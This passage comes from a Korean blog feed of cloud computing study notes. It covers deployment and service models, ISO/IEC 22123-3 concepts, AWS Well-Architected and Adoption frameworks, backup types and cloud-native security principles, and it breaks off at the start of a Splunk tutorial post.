<li><strong>가역성(Reversibility)</strong> :<ul>
<li>클라우드 서비스 고객은 자신의 데이터와 애플리케이션을 회수하며, 계약 종료 후 클라우드 서비스 제공자가 명시된 데이터를 모두 삭제</li>
</ul>
</li>
<li><strong>공용(Public) 클라우드</strong> :<ul>
<li>인터넷에 접속 가능한 모든 사용자를 대상으로 하는 클라우드 서비스 모델</li>
<li>각 서비스는 사용자 간에 권한을 격리하여 간섭 X</li>
</ul>
</li>
<li><strong>사설(Private) 클라우드</strong> :<ul>
<li>제한된 네트워크에서 특정 기업이나 사용자를 대상으로 하는 클라우드 서비스 모델</li>
<li>자원과 데이터는 해당 기업 내부에 저장되고 기업은 자원의 제어 권한을 갖음</li>
<li>높은 보안성과 개별화된 클라우드 기능 커스터마이징이 가능</li>
</ul>
</li>
<li><strong>커뮤니티(Community) 클라우드</strong> :<ul>
<li>커뮤니티 클라우드는 여러 고객이 공동 프로젝트나 애플리케이션에서 협업할 수 있도록 중앙 집중식 클라우드 인프라를 공유하는 모델</li>
<li>다양한 클라우드 솔루션을 통합하여 비즈니스 부문의 특정 문제를 해결하는 분산 인프라를 제공</li>
</ul>
</li>
<li><strong>하이브리드(Hybrid) 클라우드</strong> :<ul>
<li>22개의 클라우드 배치 모델(Public/Private/Community 또는 On-premise/Off-premise)을 이용하는 모델</li>
<li>퍼블릭 클라우드의 유연성, 경제성, 신속성과 물리 서버의 보안성, 안정성을 동시에 활용할 수 있는 장점 有</li>
</ul>
</li>
<li><strong>상호운용성(Interoperability)</strong> :<ul>
<li>둘 이상의 클라우드 컴퓨팅 시스템 또는 애플리케이션이 정보를 교환하고 상호적으로 사용하는 능력</li>
</ul>
</li>
<li><strong>클라우드 애플리케이션 이식성(Cloud Application Portability)</strong> :<ul>
<li>애플리케이션이 클라우드 컴퓨팅을 통해 제공되는 능력을 다른 클라우드 서비스로 이적하는 능력</li>
</ul>
</li>
<li><strong>클라우드 감사자(Cloud Auditor)</strong> :<ul>
<li>클라우드 서비스 정의된 인터페이스를 통해 호출한 능력의 제공과 사용에 대한 감사 책임을 수행하는 역할을 하는 클라우드 서비스 파트너(CSN)</li>
</ul>
</li>
<li><strong>데이터저장형 서비스(DDaaS : Data Storage as a Service)</strong> :<ul>
<li>클라우드 서비스 범주 중 데이터 저장 및 관련 능력을 클라우드 서비스 고객에게 제공</li>
</ul>
</li>
<li><strong>네트워크형 서비스(NaaS : Network as a Service)</strong> :<ul>
<li>클라우드 서비스 범주</li>
<li>전송 연결성과 관련된 네트워크 능력을 클라우드 서비스 고객에게 제공</li>
<li>네트워크 서비스는 애플리케이션, 인프라, 플랫폼 능력 중 하나를 제공</li>
</ul>
</li>
<li><strong>인공지능형 서비스(AIaaS : AI as a Service)</strong> :<ul>
<li>클라우드 서비스 제공자(CSP)가 클라우드 서비스 고객(CSC)에게 다양한 AI 기반 기능을 포함한 인공지능 소프트웨어를 서비스 형태로 제공하는 것을 의미</li>
</ul>
</li>
<li><strong>멀티클라우드(Multi Cloud)</strong> :<ul>
<li>클라우드 서비스 고객(CSC)이 둘 이상의 클라우드 서비스 제공 업체의 퍼블릭 클라우드 서비스를 사용하는 배포 모델</li>
</ul>
</li>
<li><strong>연합클라우드(Federated Cloud)</strong> :<ul>
<li>클라우드 서비스 연합(Federation)은 클라우드 서비스를 제공하는 클라우드 배포 모델</li>
</ul>
</li>
<li><strong>클라우드서비스연합(Cloud Service Federation)</strong> :<ul>
<li>클라우드 서비스를 제공하기 위해 합의된 정책, 프로세스 및 신뢰에 의해 결합된 두 개 이상의 클라우드 서비스 제공 업체를 나타내는 클라우드 서비스 연합</li>
</ul>
</li>
<li><strong>상호간클라우드(Inter Cloud)</strong> :<ul>
<li>클라우드 서비스 제공자(CSP)가 다른 클라우드 서비스 제공자가 제공하는 하나 이상의 클라우드 서비스를 활용하여 서비스를 제공하는 클라우드 배포 모델</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>클라우드 서비스 이용자(Cloud Service User)</strong></span> :<ul>
<li>클라우드 서비스를 사용하는 클라우드 서비스 고객과 관련된 자연인 또는 이들을 대리하는 법인</li>
</ul>
</li>
<li><strong>서비스형 컨택센터(CCaaS : Contact Center as a Service)</strong> :<ul>
<li>클라우드 기반 고객 경험 솔루션</li>
<li>AI 기반 솔루션도 제공 가능</li>
<li>기업은 외부 제공 업체의 소프트웨어를 활용하여 필요한 기술만 선택할 수 있어 내부 IT 지원의 필요성이 감소</li>
</ul>
</li>
</ul>
<h2 id="4-클라우드컴퓨팅서비스-기초">4. 클라우드컴퓨팅서비스 기초</h2>
<h3 id="41-클라우드컴퓨팅서비스-인프라-구성">4.1. 클라우드컴퓨팅서비스 인프라 구성</h3>
<p>클라우드 컴퓨팅 인프라 구성요소 = <span style="color:#e06c75"><strong>클라우드 서비스 제공자(CSP) + 리전(Region) + VPC + 가용영역(AZ)</strong></span></p>
<h3 id="42-isoiec-22123-3-기반의-클라우드-컴퓨팅-정의된-모델">4.2. ISO/IEC 22123-3 기반의 클라우드 컴퓨팅 정의된 모델</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/169a54f7-b98f-4d76-8f2e-de76e9e30a58/image.png" alt=""></p>
<ul>
<li><strong>필수 특성</strong><ol>
<li><strong>Broad Network Access (광범위한 네트워크 접근성) :</strong> <ul>
<li>네트워크를 통해 모든 리소스 접근 및 사용할 수 있음</li>
</ul>
</li>
<li>*<em>Rapid Elasticity (신속한 탄력성) : *</em><ul>
<li>리소스 풀을 통해 리소스를 자동으로 확장/축소할 수 있음</li>
</ul>
</li>
<li>*<em>Measured Service (측정 가능한 서비스) : *</em><ul>
<li>리소스의 사용량이 측정, 모니터링되며 사용량에 따라 과금이 이루어짐</li>
</ul>
</li>
<li>*<em>On-Demand Self-Service (주문형 셀프서비스) : *</em><ul>
<li>CSC가 CSP 개입 없이 원하는 시점에 필요한 서비스를 이용 가능</li>
</ul>
</li>
<li>*<em>Resource Pooling (자원 공유) : *</em><ul>
<li>리소스는 다중-임대(multi-tenant)방식으로 다중 사용자에게 제공되기 위해 풀(Pool) 형태로 유지 및 풀링 가능</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="43-클라우드-컴퓨팅-논리적-모델">4.3. 클라우드 컴퓨팅 논리적 모델</h3>
<ol>
<li><strong>Infostructure</strong> : <ul>
<li>데이터 및 정보. 데이터베이스, 파일 저장소 등의 콘텐츠</li>
</ul>
</li>
<li><strong>Applistructure</strong> :<ul>
<li>클라우드에 배포된 애플리케이션과 해당 애플리케이션을 구축하는 데 사용된 기본 애플리케이션 서비스는 서비스형 플랫폼 기능을 포함 (ex. 고객 콜센터, 인공 지능 분석, 알림 서비스 등)</li>
</ul>
</li>
<li><strong>Merastructure</strong> :<ul>
<li>인프라 계층과 다른 계층 간의 인터페이스를 제공하는 프로토콜 및 메커니즘</li>
<li>클라우드 컴퓨팅 환경과 이용자의 On-Premise 정통 IT 환경 사이에 정의된 구성 및 관리</li>
</ul>
</li>
<li><strong>Infrastructure</strong> :<ul>
<li>컴퓨팅 시스템의 핵심 구성 요소 : 컴퓨팅, 네트워크, 스토리지</li>
</ul>
</li>
</ol>
<h3 id="44-클라우드-12계층">4.4. 클라우드 12계층</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/0284e544-5969-430e-950c-d1c388dc0e7b/image.png" alt=""></p>
<ol>
<li><strong>물리적 부대설비 / 데이터 센터</strong> :<ul>
<li>컴퓨팅 시스템 및 관련 하드웨어 장비를 저장하는 물리적 위치</li>
<li>서버, 데이터 스토리지 드라이브, 네트워크 장비와 같이 IT 시스템에 필요한 컴퓨팅 인프라가 포함</li>
</ul>
</li>
<li><strong>네트워크</strong> :<ul>
<li>데이터 센터 내의 서버와 외부 세계 사이의 통신을 가능케 해줌</li>
<li>데이터 전송, 사용자 접속, 서비스 제공 등에 필수적</li>
</ul>
</li>
<li><strong>데이터 스토리지</strong> :<ul>
<li>사용자가 필요에 따라 데이터를 저장하고 검색할 수 있는 공간 제공</li>
<li>파일 저장, 데이터베이스 관리, 백업 및 복구 등에 사용</li>
</ul>
</li>
<li><strong>프로세싱 및 메모리</strong> :<ul>
<li>애플리케이션 실행, 데이터 처리, 가상화 작업 등에 사용</li>
</ul>
</li>
<li><strong>하이퍼바이저</strong> :<ul>
<li>물리적 서버의 리소스를 가상화하여 여러 가상 머신을 생성, 관리하는 소프트웨어 또는 하드웨어</li>
</ul>
</li>
<li><strong>가상 네트워크 인프라스트럭처</strong> : <ul>
<li>물리적 네트워크 리소스를 가상화하여 보안성, 확장성, 효율성을 높임</li>
<li>VPN은 이런 가상 네트워크를 안전하게 연결하는데 사용</li>
</ul>
</li>
<li><strong>가상머신 (Virtual Machines)</strong> :<ul>
<li>하이퍼바이저에 의해 생성</li>
<li>각각의 가상머신은 독립적인 운영체제와 애플리케이션 실행 가능</li>
</ul>
</li>
<li><strong>운영 체제 (OS)</strong> :<ul>
<li>가상머신에서 실행</li>
<li>하드웨어 리소스를 관리하고 사용자와 시스템 간의 인터페이스 제공</li>
</ul>
</li>
<li><strong>솔루션 스택 (Programming Languages)</strong> : <ul>
<li>특정 프로그래밍 언어, 라이브러리, 서비스 등을 포함하여 개발자가 애플리케이션과 서비스를 개발하고 배포할 수 있음</li>
</ul>
</li>
<li><strong>응용 프로그램</strong> :<ul>
<li>클라우드 환경에서 실행되는 소프트웨어 프로그램</li>
<li>웹 서비스, 데이터베이스 애플리케이션, AI, 머신러닝 모델 등 다양한 형태</li>
</ul>
</li>
<li><strong>인터페이스 (APIs, GUIs)</strong> :<ul>
<li>사용자와 시스템 간의 상호작용을 지원</li>
</ul>
</li>
<li><strong>데이터</strong> :<ul>
<li>클라우드 환경에서 생성, 처리, 저장되는 정보</li>
</ul>
</li>
</ol>
<h3 id="45-클라우드-서비스-범주-모델-영역">4.5. 클라우드 서비스 범주 모델 영역</h3>
<ul>
<li><strong>IaaS(Infrastructure as a Service)</strong> :<ul>
<li>역할 :<ol>
<li>가상 호스팅</li>
<li>운영체제 제공 ⇒ 보안 강화 설정, 네트워크 설정, 환경설정은 제공 X</li>
<li>사용자(CSC)가 직접 운영체제 및 응용 프로그램 관리</li>
<li>개발자와 인프라 관리자 간의 역할 분담</li>
</ol>
</li>
<li>장점 : <ol>
<li>하드웨어 관리 간소화</li>
<li>완전한 인프라 제공(데이터 센터, 네트워크 장비, 저장장치, 하이퍼바이저)</li>
</ol>
</li>
<li>단점 : <ol>
<li>제한된 인프라 접근과 통제</li>
<li>사용자(CSC)가 게스트 OS 대한 모든 관리</li>
<li>사용자(CSC)가 응용 프로그램 개발 및 설치</li>
</ol>
</li>
</ul>
</li>
<li><strong>PaaS(Platform as a Service)</strong> :<ul>
<li>역할 :<ol>
<li>사용자(CSC)는 시스템 모니터링만 관리 ⇒ 운영체제, 서버용 하드웨어, 네트워크 등과 같은 기본 인프라 관리는 클라우드 서비스 제공자(CSP)가 관리</li>
<li>응용 프로그램 개발에 집중 가능</li>
</ol>
</li>
<li>장점 : <ol>
<li>오토 스케일링 및 관리 제공</li>
<li>가장 이상적인 응용 프로그램 플랫폼</li>
</ol>
</li>
<li>단점 : <ol>
<li>플랫폼 종속성 ⇒ 다른 플랫폼 이동 어려움, 스택을 종속으로 사용하면 다른 환경에서 실행 어려움</li>
<li>자체 스택 사용의 한계 ⇒ 종속되지 않으려면 자체 플랫폼과 스택 설치 및 적용해야하지만 PaaS의 장점을 제대로 활용하지 못할 수도 있음. </li>
</ol>
</li>
<li>특징 :<ol>
<li>마이크로 아키텍처(MSA)는 클라우드 환경에 최적화된 응용SW설계 기법</li>
<li>DevOps를 통한 클라우드 응용 소프트웨어 개발 및 운영 환경 제공</li>
<li>표준화된 런타임 제공</li>
</ol>
</li>
</ul>
</li>
</ul>
<blockquote>
<p>💡 <strong>DevOps란?</strong> 기존에는 개발과 운영팀이 분리되어 있었고, 다수의 개발과 운영 공정을 수작업으로 수행했지만 DevOps는 파이프라인 기반의 빌드, 테스트, 배포 자동화 환경을 이용하여 DevOps팀에서 응용SW의 개발과 운영 모두 수행</p>
</blockquote>
<ul>
<li><strong>SaaS(Software as a Service)</strong> :<ul>
<li>역할 :<ol>
<li>서비스 제공자(CSP)가 응용 프로그램 제공 및 사용 가능</li>
<li>소비자 관점에서 제공되는 IT 방식의 서비스</li>
<li>서비스 제공자(CSP)에게 구독 방식으로 수익 얻을 수 있음</li>
</ol>
</li>
<li>장점 : <ol>
<li>퍼블릭 클라우드 서비스에 있는 소프트웨어를 웹 브라우저나 클라우드 클라이언트 소프트웨어를 통해 사용 가능</li>
<li>서비스 제공자(CSP)가 자동으로 최신 소프트웨어 제공 및 사용 가능</li>
<li>암호화된 데이터 통신 가능(VPN, SSL)</li>
</ol>
</li>
<li>단점 : <ul>
<li>SaaS 특성상 서비스 제공자(CSP)가 제공하는 소프트웨어나 패키지 기반의 소프트웨어만 사용 가능</li>
</ul>
</li>
<li>특징 : <ul>
<li>테넌트 : SaaS의 단위, 사용자 별로 격리된 환경인 테넌트 제공</li>
<li>애플리케이션과 데이터</li>
<li>보안</li>
<li>가용성</li>
<li>확장성</li>
<li>과금</li>
</ul>
</li>
</ul>
</li>
</ul>
<blockquote>
<p>💡 <strong>테넌트란?</strong> Tenant는 임차인이라는 뜻을 가지고 있습니다. 자신의 건물이 아닌, 다른 건물을 빌려서 사용하는 주체입니다. SaaS 에서도 이와 동일하게 생각하시면 됩니다. <U>자신의 자원이 아닌 서비스 제공자의 클라우드 자원을 빌려서 서비스를 이용하는 주체</U>가 Tenant 입니다. 즉, 짧게 요약하면 서비스 제공자의 클라우드 리소스를 사용하는 자
    출처: <a href="https://maily.so/saascenter/posts/de82fda4">https://maily.so/saascenter/posts/de82fda4</a></p>
</blockquote>
<h3 id="46-isoiec-22123-32023-기반의-클라우드-컴퓨팅-참조-아키텍처">4.6. ISO/IEC 22123-3:2023 기반의 클라우드 컴퓨팅 참조 아키텍처</h3>
<h4 id="1-클라우드-컴퓨팅-교차적cross-cutting-측면-13분야">1) 클라우드 컴퓨팅 교차적(Cross-Cutting) 측면 13분야</h4>
<ol>
<li><strong>감사 가능성 (Auditability) :</strong><ul>
<li>클라우드 서비스 사용과 관리에 대한 감사를 수행하는 능력, 로그 및 모니터링 시스템을 사용하여 활동 추적.</li>
</ul>
</li>
<li><strong>클라우드 가용성 (Cloud Availability) :</strong><ul>
<li>클라우드 서비스가 언제든지 사용 가능한 상태를 유지하는 능력, 지속적인 서비스 제공이 목표.</li>
</ul>
</li>
<li><strong>거버넌스 (Governance) :</strong><ul>
<li>클라우드 서비스의 운영과 관리에 대한 전반적인 통제와 지휘를 의미, 규정, 정책, 프로세스로 효과적 관리.</li>
</ul>
</li>
<li><strong>상호운용성 (Interoperability) :</strong><ul>
<li>서로 다른 클라우드 서비스 간에 데이터와 애플리케이션을 교환하고 사용하는 능력, 표준화된 형식과 프로토콜을 준수.</li>
</ul>
</li>
<li><strong>유지보수 및 버저닝 (Maintenance and Versioning) :</strong><ul>
<li>클라우드 서비스의 유지보수와 버전 관리 능력, 기능 추가, 버그 수정, 보안 업데이트를 체계적으로 관리.</li>
</ul>
</li>
<li><strong>클라우드 성능 (Cloud Performance) :</strong><ul>
<li>클라우드 서비스가 사용자의 요구를 충족하는 데 필요한 성능 유지, 응답 시간과 처리량을 확인.</li>
</ul>
</li>
<li><strong>이식성 (Portability) :</strong><ul>
<li>클라우드 서비스 간에 애플리케이션과 데이터를 쉽게 이동시킬 수 있는 유연성, 벤더 락인을 피하고 다양한 환경에서 사용 가능.</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>개인식별정보 보호 (Personal Data Protection) :</strong></span><ul>
<li>클라우드 서비스 사용자의 개인정보 보호 능력, 데이터 암호화, 접근 제어, 규정 준수 등.</li>
</ul>
</li>
<li><strong>회복력 (Resilience) :</strong><ul>
<li>클라우드 서비스가 장애 시 원래 상태로 신속히 복구하는 능력, 데이터 백업과 비상 복구 계획 수립.</li>
</ul>
</li>
<li><strong>가역성 (Reversibility) :</strong><ul>
<li>클라우드 서비스에서의 데이터 삭제나 중단 시 효과를 취소하는 능력, 안전한 이행 계획 제시.</li>
</ul>
</li>
<li><strong>규제 준수 (Regulatory Compliance) :</strong><ul>
<li>모든 법률과 규정을 준수하는 능력, 특히 데이터 보호와 개인정보 보안과 관련된 규제를 준수.</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>클라우드 보안 (Cloud Security) :</strong></span><ul>
<li>클라우드 서비스와 관련된 정보를 보호하는 능력, 암호화, 인증, 접근 제어 등으로 보안 유지.</li>
</ul>
</li>
<li><strong>서비스 수준 협약 (SLA - Service Level Agreement) :</strong><ul>
<li>서비스 제공자와 사용자 간의 계약으로 서비스 품질, 가용성 등을 명시, 사용자에게 서비스 기준과 의무 제시.</li>
</ul>
</li>
</ol>
<h4 id="2-사용자-측면aspect--user">2) 사용자 측면(Aspect &amp; User)</h4>
<ul>
<li><strong>클라우드 서비스 고객(CSC) 역할</strong> :<ul>
<li>클라우드 서비스 사용자(CSU)</li>
<li>클라우드 서비스 관리자(Administrator)</li>
<li>클라우드 서비스 비즈니스 관리자(Manager)</li>
<li>클라우드 서비스 통합자(Integrator)</li>
</ul>
</li>
<li><strong>클라우드 서비스 제공자(CSP) 역할</strong> :<ul>
<li>클라우드 서비스 운영 관리자</li>
<li>클라우드 서비스 배포 관리자</li>
<li>클라우드 서비스 관리자</li>
<li>클라우드 서비스 비즈니스 관리자</li>
<li>고객 지원 및 관리 담당자</li>
<li>클라우드 간 제공자(Inter-Cloud)</li>
<li>클라우드 서비스 보안 및 위험 관리자<ul>
<li>ISO/IEC 27005 국제 표준 정보보안 위험관리 시스템을 통해 위험 식별</li>
</ul>
</li>
<li>네트워크 제공자</li>
</ul>
</li>
<li><strong>클라우드 서비스 파트너(CSN) 역할</strong> :<ul>
<li>클라우드 서비스 개발자(Cloud Service Developer)</li>
<li>클라우드 서비스 브로커(CSB)</li>
<li>매니지드 서비스 제공자(Managed Service Provider)</li>
<li>클라우드 서비스 감사자</li>
</ul>
</li>
</ul>
<h2 id="5-cloud-well-architected-framework-모범사례">5. <a href="https://wa.aws.amazon.com/wat.map.ko.html">Cloud Well Architected Framework 모범사례</a></h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a649d210-bc6b-4026-afde-7be1f4b7b268/image.png" alt=""></p>
<ul>
<li>운영 우수성</li>
<li>보안 </li>
<li>안정성</li>
<li>성능 효율성</li>
<li>비용 최적화</li>
<li>지속가능성</li>
</ul>
<ol>
<li><strong>보안 :</strong> <ul>
<li>보안 원칙에는 클라우드 기술을 활용하여 보안을 강화하고 데이터, 시스템 및 자산을 보호하는 능력이 포함</li>
<li>보안 모범 사례 및 관련 리소스 참조</li>
<li>안전한 워크로드 운영 :<ul>
<li>워크로드를 안전하게 운영하려면 모든 보안 영역에 포괄적 모범 사례를 적용</li>
<li>AWS 및 업계 권장 사항 및 위협 인텔리전스를 최신 상태로 유지하면 위협 모델 및 제어 목표를 발전시키는 데 도움이 됨</li>
<li>보안 프로세스, 테스트 및 검증을 자동화함으로써 보안 작업을 확장</li>
</ul>
</li>
</ul>
<ol start="2">
<li><strong>자격증명 및 액세스 관리 :</strong> </li>
</ol>
<ul>
<li>사람에 의한 자격증명(RRAC)</li>
<li>시스템 자체에 대한 자격증명(SaaS)</li>
<li>자격 증명 공유 불가 X</li>
</ul>
<ol start="3">
<li><strong>탐지 :</strong> </li>
</ol>
<ul>
<li>위험 식별</li>
</ul>
<ol start="4">
<li>*<em>인프라 보호 : *</em></li>
</ol>
<ul>
<li>네트워크 리스소 보호 방법 :<ul>
<li>라우터, 스위치 등</li>
</ul>
</li>
<li>컴퓨팅 리소스 보호 방법 : <ul>
<li>EC2 인스턴스, 컨테이너, AWS Lambda 함수, DB서비스, IoT 디바이스 등</li>
</ul>
</li>
</ul>
<ol start="5">
<li><strong>데이터 보호 :</strong> </li>
</ol>
<ul>
<li>데이터 거버넌스</li>
<li>데이터 분류체계<ul>
<li>기밀 데이터 : 암호화 대상(대칭키 기반)</li>
<li>중요 데이터 : 암호화 대상(대칭키 기반)</li>
<li>대외비 데이터</li>
<li>일반 데이터</li>
</ul>
</li>
<li>네트워크 보안 프로토콜 SSL, IPSec, TLS 사용</li>
<li>서드파티 솔루션 사용</li>
</ul>
<ol start="6">
<li><strong>사고 대응</strong></li>
</ol>
<ul>
<li>침해공격에 대한 유형 파악</li>
<li>침해공격에 대한 대응 수준 단계 고려</li>
<li>클라우드 컴퓨팅 서비스 상에서 악성 코드를 차단/삭제/격리 여부 결정</li>
<li>침해사고 대응 조직 및 프로세스 설계</li>
<li>장애 예상</li>
<li>사후 데이터를 어떻게 할 것인지 고려</li>
<li>전자적 증거 확보 및 디지털 포렌식</li>
<li>관계 기관에 신고 (검찰청, 경찰청, KISA)</li>
</ul>
</li>
</ol>
<h2 id="6-cloud-adoption-frameworkcap">6. Cloud Adoption Framework(CAP)</h2>
<h3 id="61-클라우드-혁신-가치-사슬-모델">6.1. 클라우드 혁신 가치 사슬 모델</h3>
<ol>
<li>구상</li>
<li>조정</li>
<li>시작</li>
<li>확장</li>
</ol>
<h3 id="62-일반적인-클라우드-기반-백업-방식-종류-및-백업-가능-대상">6.2. 일반적인 클라우드 기반 백업 방식 종류 및 백업 가능 대상</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2dd785e8-2e7c-4ffa-ab07-fad63913107a/image.png" alt=""></p>
<ul>
<li><strong>크로스-리전 백업</strong> : <ul>
<li>다른 지역의 서버로 복사</li>
<li>특정 지역에서 재해가 발생해도 데이터를 안전하게 보호 가능</li>
</ul>
</li>
<li><strong>크로스-계정 백업</strong> : <ul>
<li>조직관리 서비스 등을 이용하여 다른 클라우드 계정으로 백업</li>
<li>계정이 손상되거나 해킹당한 경우에도 데이터 보호 가능</li>
</ul>
</li>
<li><strong>증분 백업</strong> : <ul>
<li>마지막 백업 이후 변경된 데이터만 복사</li>
<li>스토리지 공간 효율적으로 사용 가능 및 백업 시간 ↓</li>
</ul>
</li>
<li><strong>연속 백업 및 지정 시간 복구(PTTR)</strong> : <ul>
<li>연속 백업 : 데이터가 변경될 때마다 실시간으로 백업<ul>
<li>데이터 손실 최소화, 언제든지 최신 상태 데이터 복원 가능</li>
</ul>
</li>
<li>지정 시간 복구(PTTR) : 과거 특정 시점의 상태로 데이터 복원<ul>
<li>실수로 데이터 삭제, 애플리케이션 오류로 인한 데이터 손상된 경우 복원 가능</li>
</ul>
</li>
<li>컴퓨팅, 블록 스토리지는 백업 지원 X</li>
</ul>
</li>
<li><strong>전체 백업</strong> : <ul>
<li>모든 데이터를 복사</li>
<li>데이터 복구 간단</li>
<li>스토리지 공간 많이 차지, 백업시간 긺</li>
<li>블록 스토리지, RDS 단일 인스턴스 백업 지원 X</li>
</ul>
</li>
</ul>
<h3 id="63-aws-caf-관점의-6가지-기본역량">6.3. AWS CAF 관점의 6가지 기본역량</h3>
<ol>
<li><strong>비지니스(Business) :</strong><ul>
<li>전략관리</li>
<li>포트폴리오 관리</li>
<li>혁신 관리</li>
<li>제품관리</li>
<li>전략적 파트너쉽</li>
<li>데이터 수익화</li>
<li>비지니스 인사이트</li>
<li>데이터 과학</li>
</ul>
</li>
<li><strong>사람(People) :</strong><ul>
<li>문화의 진화</li>
<li>혁신적 리더십</li>
<li>클라우드 숙련</li>
<li>인력 혁신</li>
<li>변화 가속화</li>
<li>조직 설계</li>
<li>조직 연계</li>
</ul>
</li>
<li><strong>거버넌스(Governance) :</strong><ul>
<li>프로그램 및 프로젝트 관리</li>
<li>이익 관리</li>
<li>위험 관리</li>
<li>클라우드 재무관리</li>
<li>애플리케이션 포트폴리오 관리</li>
<li>데이터 거버넌스</li>
<li>데이터 큐레이션</li>
</ul>
</li>
<li><strong>플랫폼(Platform) :</strong><ul>
<li>플랫폼 아키텍처</li>
<li>데이터 아키텍처</li>
<li>플랫폼 엔지니어링</li>
<li>데이터 엔지니어링</li>
<li>프로비저닝 및 오케스트레이션</li>
<li>현대적 앱 개발</li>
<li>CI/CD</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>보안(Security)</strong></span> :<ul>
<li>보안 거버넌스<ul>
<li>클라우드에 대한 거버넌스(서비스를 운영하기 위해 필요한 규칙, 정책, 권고사항 등을 정의한 것)</li>
</ul>
</li>
<li>보안 보증<ul>
<li>Certification</li>
</ul>
</li>
<li>자격 증명 및 액세스 관리<ul>
<li>IAM 계정 생성 및 인증방식</li>
<li>암호 알고리즘, 암호화 방식 결정</li>
<li>IAM에 대한 정책 부여</li>
</ul>
</li>
<li>위협 탐지<ul>
<li>ZTA(Zero Trust Architecture) 고려</li>
</ul>
</li>
<li>취약성 관리<ul>
<li>CCCV</li>
</ul>
</li>
<li>인프라 보호<ul>
<li>테넌트 보안</li>
</ul>
</li>
<li>데이터 보호</li>
<li>애플리케이션 보안<ul>
<li>소프트웨어 개발 과정 중 보안 취약성 탐지 및 해결</li>
</ul>
</li>
<li>인시던트 대응<ul>
<li>보안 인시던트에 효과적으로 대응하여 잠재적 피해 완화</li>
</ul>
</li>
</ul>
</li>
<li><strong>운영(Operation) :</strong><ul>
<li>관측성</li>
<li>이벤트 관리(AIOps)</li>
<li>인시던트 및 문제 관리<ul>
<li>장애 원인이 사라지면 해결되는게 인시던트</li>
<li>장애에 대한 조치 해결+원인분석까지 하면 문제</li>
<li>둘다 케이스로 처리, 해결되면 case close</li>
</ul>
</li>
<li>변경 및 릴리즈 관리</li>
<li>성능 및 용량 관리</li>
<li>구성 관리</li>
<li>패치 관리</li>
<li>가용성 및 연속성 관리</li>
<li>애플리케이션 관리</li>
</ul>
</li>
</ol>
<h2 id="7-클라우드-네이티브cloud-native">7. 클라우드 네이티브(Cloud Native)</h2>
<h3 id="71-정의">7.1. 정의</h3>
<ul>
<li>현대적인 클라우드 기반 애플리케이션의 환경</li>
<li>PaaS 서비스 환경에서 주로 사용</li>
</ul>
<h3 id="72-클라우드-네이티브의-4가지-구성요소">7.2. 클라우드 네이티브의 4가지 구성요소</h3>
<ol>
<li><strong>Container :</strong> 애플리케이션과 종속성을 패키지화해서 실행환경에 대한 일관성 제공</li>
<li><strong>DevOps :</strong> 애플리케이션 개발-운영 간의 협업 프로세스 자동화 </li>
<li><strong>CI/CD :</strong> 지속적인 통합/지속적인 개발</li>
<li><strong>MSA(Microservices Architecture) :</strong> 애플리케이션을 독립적인 서비스로 분리하여 각 서비스가 독립적으로 배포 및 확장되게 함</li>
</ol>
<h3 id="73-클라우드-네이티브-보안">7.3. 클라우드 네이티브 보안</h3>
<p>클라우드 네이티브 보안은 계충화된 접근방식을 통해 소프트웨어 시스템을 심층적으로 방어한다.</p>
<ul>
<li><strong>클라우드 네이티브 보안의 4C :</strong><ol>
<li>클라우드(<strong>C</strong>loud)</li>
<li>클러스터(<strong>C</strong>luster)</li>
<li>컨테이너(<strong>C</strong>ontainer)</li>
<li>코드(<strong>C</strong>ode)</li>
</ol>
</li>
<li>*<em>보안 방법 : *</em><ul>
<li>제로 트러스트 아키텍처</li>
<li>인터넷 노출 제어</li>
<li>안전한 파일 저장</li>
<li>최소 권한 원칙</li>
<li>로그 데이터 마스킹</li>
<li>자산관리</li>
<li>계정권한 관리와 보안 설정</li>
<li>단계별 보안</li>
<li>클라우드 네이티브 보안 플랫폼(CNSP, Cloud Native Security Platform)</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] Splunk 설치 및 사용방법, DNS 로그 분석, HTTP 로그 분석, EndPoint 로그 분석]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-Splunk-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EC%82%AC%EC%9A%A9%EB%B0%A9%EB%B2%95-DNS-%EB%A1%9C%EA%B7%B8-%EB%B6%84%EC%84%9D-HTTP-%EB%A1%9C%EA%B7%B8-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-Splunk-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EC%82%AC%EC%9A%A9%EB%B0%A9%EB%B2%95-DNS-%EB%A1%9C%EA%B7%B8-%EB%B6%84%EC%84%9D-HTTP-%EB%A1%9C%EA%B7%B8-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Fri, 12 Jan 2024 00:32:17 GMT</pubDate>
            <description><![CDATA[<h2 id="1-splunk">1. Splunk</h2>
<h3 id="11-정의">1.1. 정의</h3>
<p>SIEM(Security Information &amp; Event Management) 솔루션 중 하나로 기업 정보에 대한 종합 관제 솔루션</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d3d1295c-dcb2-480c-a8be-100e477ca5a4/image.png" alt="">
Splunk Forwarder는 Agent 프로그램으로 실시간으로 Splunk Server에 로그를 보내준다.</p>
<h3 id="12-splunk-평가판-및-튜토리얼-데이터-파일-다운로드">1.2. Splunk 평가판 및 튜토리얼 데이터 파일 다운로드</h3>
<p><a href="https://www.splunk.com">Splunk 소프트웨어 평가판 다운로드 🔗</a></p>
<ul>
